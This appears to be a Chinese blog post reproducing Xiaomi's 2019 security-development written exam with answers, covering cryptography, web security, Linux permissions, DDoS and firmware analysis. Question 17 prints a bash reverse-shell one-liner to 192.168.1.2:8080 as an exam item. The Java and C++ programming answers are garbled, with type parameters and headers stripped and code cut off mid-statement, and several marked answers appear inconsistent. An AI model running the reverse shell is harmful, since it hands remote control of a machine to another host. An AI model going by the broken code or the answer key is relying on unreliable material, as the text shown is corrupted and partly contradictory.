小米2019秋招安全开发笔试题(A)
发布日期:2021-05-14 08:36:34 浏览次数:19 分类:精选文章

本文共 3633 字,大约阅读时间需要 12 分钟。

1、关于数字签名说法错误的是

  • 确定消息确实是由发送方签名并发出来的
  • 数字签名能确定消息的完整性
  • 私钥用于签名,公钥用于验证

2、CORS的作用是?

  • 允许客户端获取服务器的返回数据

3、下面关于AJAX说法正确的是?

  • AJAX可以完成数据的跨域

错误的是:

  • AJAX可以给不同域发送数据
  • AJAX可以获取不同域的数据
  • AJAX使用了同步技术

4、MD5是?

  • 哈希算法

5、在linux中,将文件属性设置为所有者只读,其余无任何权限的命令为(假设文件名为myfile)

  • chmod 400 myfile

6、以下哪个方法不能实现对系统网络外连行为的监控

  • 查看/var/log/lastlog记录

可以尝试的方法:

  • 使用hook技术替换c库函数connect
  • 使用auitd监控connect系统调用

7、在linux文件系统权限中(rwx),只读权限对应的数值为

  • 4

补充:

  • 第一个符号代表文件的类型
    • 如果是一个普通文件为"-",
    • 如果是一个目录为"d",
    • 如果是一个软连接为"l"
    • 如果是一个字符设备为"c"
    • 如果是一个块文件为"b"
  • 第一组表示文件所有者拥有的的权限
    • "x"表示该文件拥有执行的权限
    • "r"表示该文件拥有读取的权限
    • "w"表示该文件拥有修改的权限
    • “-” 表示暂时还没有其他权限
  • 第二组表示该文件所在组的用户拥有的权限
  • 第三组表示其他组的用户所拥有的权限
  • "rwx"权限还可以使用数字来表示为:r=4,w=2,x=1,所以rwx=4+2+1=7

8、升级包

设备升级过程中使用了 curl https://ota.a.com/update.bin -k -o /tmp/update.bin 命令获取升级包,下列说法正确的是?

  • 升级包忽略了证书校验,会造成中间人攻击

9、下面这段代码会造成什么问题?

function upgradeRom()    local XQFunction = require("xiaoqiang.common.XQFunction")    local XQSysUtil = require("xiaoqiang.util.XQSysUtil")    local url = LuciHttp.formvalue("url")    url = url:gsub("'", "")    if url        XQFunction.forkExec(string.format("wget '%s'", url))    else        XQFunction.forkExec("/usr/sbin/crontab_rom.sh")    endend
  • 没有任何漏洞

10、Linux的可执行文件开头的特征字符串是什么

  • ELF

11、下说法错误的是

  • RSA和DSA的功能一样,只是不同的算法
  • Hash是可逆的,Hash一般会导致信息熵减小

12、cookie的基础属性有哪些?

  • Domain
  • path
  • httponly
  • secure
  • expires

13、下面有那些技术是在https应用到的?

  • 对称加密
  • 非对称加密
  • 密钥交换
  • 哈希算法

14、使用下面那种方式可以产生跨域攻击?

  • CORS
  • windows.name
  • windows.postMessage

15、以下哪些方式被认为是DDOS攻击

  • ICMP Flood
  • SYNFlood
  • DNSQuery Flood
  • UDPFlood

16、关于SYNFlood攻击,以下说法正确的是

  • 此种方式不需要建立完整的TCP三次握手
  • 此种攻击方式是客户端主动发起的SYN半连接引起的

17、关于这条命令,说法正确的是

bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
  • 通过在192.168.1.2上监听8080,可以远程操作运行了此命令的机器
  • 这是一个反弹shell

18、下面哪些命令和工具对 firmware 分析有帮助?

  • binwalk
  • file
  • firmware-mod-kit

19、哪些是常用的逆向分析工具

  • gdb
  • IDA
  • ollydbg

20、以下哪些属于缓冲区溢出保护机制?

  • PIE
  • NX
  • STACK CANARY

21、编程题

我们的小齐同学是一名很辛苦的实习DBA,他每天的工作就是为一个帐号添加授权,今天给这200个ipv4添加授权,明天又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被领导很批了一顿。痛定思痛,小齐同学开始反思他每天的工作,发现无非就是我每天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用结构化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你吃饭哦

import java.util.HashSet;import java.util.Scanner; public class Main {       public static void main(String[] args) {           Scanner scanner = new Scanner(System.in);        HashSet
set = new HashSet<>(); while (!scanner.hasNext("end")) { String command = scanner.next(); char c = command.charAt(0); String ip = command.substring(2); switch (c) { case 'i': set.add(ip); System.out.println("ok"); break; case 'd': set.remove(ip); System.out.println("ok"); break; case 's': System.out.println(set.contains(ip)); break; } } }}

有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。

#include 
using namespace std;int main(){ int n,m; while(cin>>n>>m){ vector
Edge[n+1]; int inDegree[n+1]; memset(inDegree,0,sizeof(inDegree)); for(int i=0;i
>a>>b; Edge[a].push_back(b); inDegree[b]++; } priority_queue
, greater
> Q; for(int i=1;i<=n;i++) if(inDegree[i]==0) Q.push(i); int cnt = 1; while(!Q.empty()){ int u = Q.top(); Q.pop(); if(cnt==n) cout<
<
上一篇:Unixbench——跨平台跑分
下一篇:小米2018春季实习生安全开发工程师笔试题

发表评论

最新留言

表示我来过!
[***.240.166.169]2025年04月26日 20时34分47秒